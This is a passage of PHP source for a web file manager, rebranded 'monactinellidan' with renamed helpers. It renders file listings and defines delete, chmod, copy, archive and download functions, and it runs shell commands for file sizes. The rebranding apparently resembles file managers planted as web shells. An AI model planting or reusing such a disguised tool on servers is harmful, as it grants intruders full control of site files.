<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$uu++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fanco($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
<?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a>
<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) and empty($files)) { ?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
</tr>
</tfoot>
<?php
} else { ?>
<tfoot>
<tr>
<td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
<?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
</td>
</tr>
</tfoot>
<?php } ?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">monactinellidan <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="." target="_blank" class="float-right text-muted">monactinellidan <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
function print_external($key) {
global $external;
if(!array_key_exists($key, $external)) {
// throw new Exception('Key missing in external: ' . key);
echo "<!-- EXTERNAL: MISSING KEY $key -->";
return;
}
echo "$external[$key]";
}
function verifyToken($token)
{
if (hash_equals($_SESSION['token'], $token)) {
return true;
}
return false;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 and $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case 'relative':
return array(
'label' => 'Path',
'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
);
case 'host':
$relative_path = str_replace($root_path, '', $file_path);
return array(
'label' => 'Host Path',
'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
);
case 'full':
default:
return array(
'label' => 'Full Path',
'path' => fanco(fm_convert_win($file_path))
);
}
}
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin and class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false and $directory != '' and file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' and function_exists('zip_open')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => @zip_entry_filesize($zip_entry),
'compressed_size' => @zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
);
}
@zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' and class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
function fanco($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[DN_CESSION_ID]['message'] = $msg;
$_SESSION[DN_CESSION_ID]['status'] = $status;
}
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
function fm_convert_win($filename)
{
if (FM_IS_WIN and function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
function fm_object_to_array($obj)
{
if (!is_object($obj) and !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'ts':
case 'jsx':
case 'tsx':
case 'hbs':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
case 'yaml':
case 'yml':
case 'toml':
case 'tmp':
case 'top':
case 'bot':
case 'dat':
case 'bak':
case 'htpasswd':
case 'pl':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'tbz2':
case 'tbz':
case 'zip':
case 'rar':
case 'gz':
case 'tgz':
case 'tar':
case '7z':
case 'xz':
case 'txz':
case 'zst':
case 'tzst':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
case 'webm':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
);
}
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
'application/json',
);
}
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
function scan($dir = '', $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
$size = filesize($fileLocation);
if ($size == 0) {
fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
if ($fp === false) {
fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
// headers
header('Content-Description: File Transfer');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header("Content-Transfer-Encoding: binary");
header("Content-Type: $contentType");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fileLocation = realpath($fileLocation);
while (ob_get_level()) ob_end_clean();
readfile($fileLocation);
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'monactinellidan<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) and count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
